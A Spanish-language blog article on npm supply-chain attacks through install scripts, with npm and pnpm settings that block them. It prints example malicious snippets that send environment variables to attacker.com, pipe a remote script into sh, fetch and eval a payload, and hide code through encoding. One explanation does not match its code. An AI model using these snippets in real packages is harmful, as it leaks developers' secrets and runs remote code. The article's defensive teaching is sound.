28 de Marzo, 2026
Ejecución de scripts maliciosos en dependencias: riesgos reales y cómo proteger tu proyecto

Karolina Villanueva
Consultora Web

La seguridad en el ecosistema JavaScript ha entrado en una nueva etapa. Durante años, instalar una dependencia era un proceso aparentemente inofensivo: ejecutabas un simple install y el proyecto estaba listo para usar.
Hoy eso cambió.
La ejecución automática de scripts dentro de dependencias se ha convertido en uno de los vectores más críticos de ataque dentro del desarrollo moderno. Esto ha llevado a herramientas como npm y pnpm a endurecer sus políticas y permitir desactivar este comportamiento tanto a nivel de proyecto como global.
Este artículo explora en profundidad qué está ocurriendo, cómo funcionan estos ataques y qué prácticas debes adoptar para blindar tu cadena de suministro (software supply chain).
Qué son los scripts de lifecycle y por qué son un vector de ataque
Los gestores de paquetes ejecutan automáticamente scripts definidos en el package.json de cada dependencia:
preinstallinstallpostinstallprepare
Estos scripts se ejecutan durante la instalación, incluso en dependencias transitivas.
El riesgo radica en que estos scripts:
- Se ejecutan sin intervención del usuario
- Tienen acceso a
process.env(tokens, API keys, secrets) - Pueden invocar procesos del sistema (
child_process) - Pueden realizar llamadas de red
En términos de seguridad, esto equivale a ejecutar un binario remoto sin sandbox.
Cómo se inyecta código malicioso en paquetes
Los ataques de supply chain no son teóricos. Existen múltiples formas reales en las que se puede introducir código malicioso sin que el desarrollador lo note.
Dependencias comprometidas
Un atacante obtiene acceso a un paquete legítimo y publica una nueva versión con código malicioso en un script postinstall.
Typosquatting
Se publica un paquete con un nombre similar a uno popular:
express→expreslodash→lodas
Estos paquetes suelen incluir scripts que exfiltran datos o descargan payloads. El desarrollador instala el paquete incorrecto y ejecuta código malicioso sin darse cuenta.
Dependencias transitivas
Tu proyecto puede depender de paquetes que tú no instalaste directamente. Incluso si auditas tus dependencias directas, una dependencia profunda puede introducir el ataque.
Casos reales que cambiaron el ecosistema
event-stream (2018)
Un paquete ampliamente usado fue comprometido mediante la incorporación de un maintainer malicioso. Se introdujo código que intentaba robar criptomonedas desde wallets específicas.
ua-parser-js (2021)
Se publicó una versión comprometida que instalaba malware (cryptominers y password stealers) durante la instalación del paquete.
Campañas masivas de typosquatting
Miles de paquetes falsos publicados automáticamente que ejecutaban scripts para exfiltrar:
- variables de entorno
- tokens de npm
- credenciales de CI
Estos incidentes demostraron que el ataque no es teórico: es sistemático y automatizado.
Ejemplo de script malicioso en postinstall
Un script postinstall puede ejecutar código como:
const https = require("https");
const { exec } = require("child_process");
const payload = JSON.stringify({
env: process.env,
});
https.request({
hostname: "attacker.com",
method: "POST"
}).end(payload);
exec("curl http://malicious-server.com/script.sh | sh");Impacto:
- Exfiltración de variables de entorno
- Ejecución remota de código
- Persistencia en entornos CI/CD
Código malicioso “invisible” dentro del proyecto
No todo ocurre en scripts. También puede haber código malicioso que se esconden dentro del runtime incrustado en el propio paquete.
Ejemplo con lógica oculta
function safeFunction(input) {
if (process.env.NODE_ENV === "production") {
return input;
}
require("child_process").exec(
`curl http://malicious.com/collect?data=${encodeURIComponent(input)}`
);
return input;
}Explicación
- La función parece inofensiva.
- Solo se activa en entornos CI (
process.env.CI). - Ejecuta un comando del sistema que envía datos a un servidor externo.
Esto hace que:
- No se detecte fácilmente en desarrollo local
- Se active solo en entornos sensibles (pipelines)
Técnicas de ofuscación avanzada en dependencias maliciosas
Una técnica cada vez más utilizada es ocultar código malicioso dentro de strings aparentemente vacíos o irrelevantes.
Ejemplo de código ofuscado
// Simula un payload que decodifica y evalúa otro string
const complexPayload = "\\u0065\\u0076\\u0061\\u006c\\u0028\\u0041\\u0074\\u006f\\u0062\\u0028\\'\\u004c\\u0079\\u0038\\u0067\\u0059\\u0043\\u004a\\u0030\\u0064\\u0047\\u0068\\u0077\\u0064\\u0048\\u004d\\u0079\\u0059\\u0053\\u0035\\u006e\\u0062\\u0033\\u004a\\u0075\\u0063\\u0047\\u0039\\u007a\\u0064\\u0048\\u004e\\u0076\\u005a\\u0032\\u0052\\u0068\\u0062\\u0048\\u0052\\u0070\\u0059\\u0057\\u0078\\u007a\\u005a\\u0058\\u004a\\u0030\\u005a\\u0058\\u004a\\u0076\\u005a\\u0058\\u0049\\u0075\\u0064\\u0047\\u0056\\u006b\\u005a\\u0043\\u0041\\u006f\\u004f\\u003d\\'\\u0029\\u0029";
eval(complexPayload);
// El complexPayload decodifica a eval(Atob('Y29uc29sZS5sb2coJ0NvZGlnbyBtYWxpY2lvc28gZGVzZGUgYmFzZTY0Jyk=')).
// Lo que a su vez ejecuta console.log('Codigo malicioso desde base64')Qué está pasando aquí
- El string contiene caracteres Unicode escapados (
\\uXXXX). - Luego se ejecuta con
eval. - Dentro hay un
atob()que decodifica base64.
Esto permite:
- Ocultar completamente el código real
- Evitar detección visual
Caso extremo: payload en una sola línea de gran tamaño
// const hidden = " [miles de espacios o caracteres no imprimibles con base64 oculto] "
const hidden = " ";
(function(){
const decoded = Buffer.from(hidden.trim(), 'base64').toString();
eval(decoded);
})();Explicación
- La variable parece vacía pero puede contener datos ocultos.
- Puede incluir miles de caracteres invisibles.
- Se decodifica en runtime y se ejecuta.
En ataques reales:
- Una sola línea puede pesar 70–80kb
- El código está comprimido/ofuscado
- Se ejecuta dinámicamente
Variantes comunes de ofuscación
- Base64 (
Buffer.from(...).toString()) - Unicode escapes (
\\uXXXX) - Arrays reconstruidos
- Strings fragmentados
const parts = [101,118,97,108];
const fn = String.fromCharCode(...parts);
this[fn]("console.log('malicious')");Esto reconstruye eval dinámicamente.
Uso de eval y ejecución dinámica en Node.js
Node.js permite ejecutar código dinámico mediante funciones como:
evalFunctionvm.runInThisContext
Esto puede ser explotado para ejecutar código remoto.
Ejemplo de ataque usando eval
const https = require("https");
https.get("https://attacker.com/payload.js", res => {
let code = "";
res.on("data", chunk => {
code += chunk;
});
res.on("end", () => {
eval(code);
});
});Explicación de la ejecución
1. La función principal: https.get
- Primer parámetro: la URL remota desde donde se descarga el payload.
- Segundo parámetro: un callback que se ejecuta cuando el servidor responde.
2. El objeto res (response)
- En Node.js, la respuesta llega como un stream (flujo de datos), no como un bloque completo.
- Por eso se necesita acumular los datos manualmente.
3. Eventos con .on()
res.on("data", chunk => ...): se ejecuta cada vez que llega un fragmento del código remoto.res.on("end", ...): se ejecuta cuando termina la descarga completa.
4. Lo realmente peligroso, el paso final: eval(code)
- Convierte el string descargado en código ejecutable.
- Permite ejecutar instrucciones arbitrarias sin que existan en el repositorio.
Este patrón es crítico porque evita auditorías tradicionales: el código malicioso no está en el paquete, sino que se descarga en tiempo de ejecución.
Desactivación de scripts: la respuesta de npm y pnpm
Ante el creciente riesgo de los ataques a la cadena de suministro, los gestores de paquetes han evolucionado para introducir controles más estrictos, permitiendo a los desarrolladores bloquear la ejecución automática de scripts. Esto nos mueve hacia un modelo más seguro basado en consentimiento explícito.
npm: Control granular y global
Históricamente, la ejecución de scripts era el comportamiento por defecto en npm. Sin embargo, ahora existen varias formas de mitigar este riesgo.
Desactivación por comando (--ignore-scripts)
El flag --ignore-scripts es la primera línea de defensa para instalaciones específicas.
npm install <nombre-paquete> --ignore-scriptsEfecto:
- No se ejecutan scripts de instalación (como
preinstall,install,postinstall). - Se evita la ejecución de código arbitrario contenido en estos scripts para la instalación actual.
Configuración persistente en npm
Para una seguridad más robusta y consistente, npm ofrece la posibilidad de desactivar scripts de forma persistente, ya sea a nivel global o por proyecto.
1. Desactivación Global (npm config set)
Puedes configurar npm para que ignore los scripts en todos tus proyectos por defecto.
npm config set ignore-scripts true --globalEsto escribe ignore-scripts=true directamente en el archivo ~/.npmrc global de tu sistema operativo. A partir de ese momento, aplicará a todas las operaciones de npm install que realices, a menos que se sobrescriba localmente.
2. Desactivación a Nivel de Proyecto (.npmrc)
Para aplicar la configuración a un proyecto específico o para forzar la política en equipos y pipelines de CI/CD, puedes crear un archivo .npmrc en la raíz de tu proyecto con la siguiente línea:
# .npmrc
ignore-scripts=trueVentajas:
- Evita tener que recordar pasar el flag
--ignore-scriptsen cada instalación. - Si este
.npmrcse commitea al repositorio, la política se enforcea en todo el equipo y en los pipelines de CI/CD, asegurando que todos sigan la misma medida de seguridad.
Advertencia importante:
Cuando activas ignore-scripts=true (ya sea globalmente o en .npmrc), npm también deja de ejecutar los scripts que tú mismo defines en tu package.json (por ejemplo, scripts personalizados para build o test que se invocan indirectamente). Si tus dependencias necesitan ejecutar scripts de compilación para instalar binarios (node-gyp por ejemplo), este setting puede romper el build de tu proyecto. npm, en algunos casos, fallará silenciosamente sin dar una advertencia clara, lo que puede ser difícil de depurar.
pnpm: Seguridad por defecto y un modelo más avanzado
Aquí la filosofía es diferente y, en muchos aspectos, más proactiva en términos de seguridad.
pnpm v10 y versiones posteriores deshabilitan por defecto la ejecución automática de scripts postinstall en dependencias. Esto significa que pnpm ya viene "seguro por defecto", una diferencia crucial respecto a npm, donde la seguridad es un paso que el usuario debe activar.
En lugar de un simple on/off global, pnpm ofrece un modelo de allowlist explícita para los scripts de construcción en tu archivo pnpm-workspace.yaml o directamente en .npmrc del proyecto.
# pnpm-workspace.yaml o .npmrc
# Solo estos paquetes pueden ejecutar scripts de construcción
allowBuilds:
esbuild: true
sharp: true
core-js: false # Ejemplo: Denegar explícitamente si fuera necesario- Los paquetes no listados en
allowBuildstienen sus scripts de construcción deshabilitados por defecto y pnpm mostrará un warning. - Si activas
strictDepBuilds: true, en lugar de un warning, pnpm lanzará un error si un paquete no permitido intenta ejecutar scripts, forzando una política aún más estricta.
Existe la opción dangerouslyAllowAllBuilds: true para re-habilitar todos los scripts globalmente, pero la propia documentación de pnpm recomienda enfáticamente no usarla y, en su lugar, listar explícitamente solo los paquetes de confianza.
Bonus de Seguridad en pnpm: minimumReleaseAge
pnpm ofrece una característica adicional para mitigar riesgos temporales:
# pnpm-workspace.yaml o .npmrc
minimumReleaseAge: 1440Esta configuración indica a pnpm que no instale versiones de paquetes publicadas hace menos de 24 horas (1440 minutos). Esta ventana de 24 horas es crucial porque es el periodo en el que la mayoría del malware introducido en paquetes (especialmente mediante hijacking o errores) suele ser detectado y removido por los mantenedores o por la comunidad. Es una excelente capa de defensa adicional para evitar "zero-day exploits" en el ecosistema de paquetes.
Conclusión
El ecosistema JavaScript está evolucionando hacia un modelo más seguro, donde instalar una dependencia ya no es un acto trivial.
Los ataques de supply chain han demostrado que cualquier paquete puede convertirse en un vector de entrada. La ejecución automática de scripts representa un riesgo real y explotable, y la decisión de npm y pnpm de permitir su desactivación es un paso necesario hacia un desarrollo más seguro.
Entender cómo funcionan estos ataques y aplicar medidas preventivas no es opcional: es parte del estándar moderno de cualquier desarrollador profesional.
Referencias
- Documentación oficial de npm sobre scripts lifecycle
- Documentación oficial de pnpm sobre ejecución de scripts
- OWASP Software Supply Chain Security
- NPM ignore Scripts Best Practices As Security Mitigation For Malicious Packages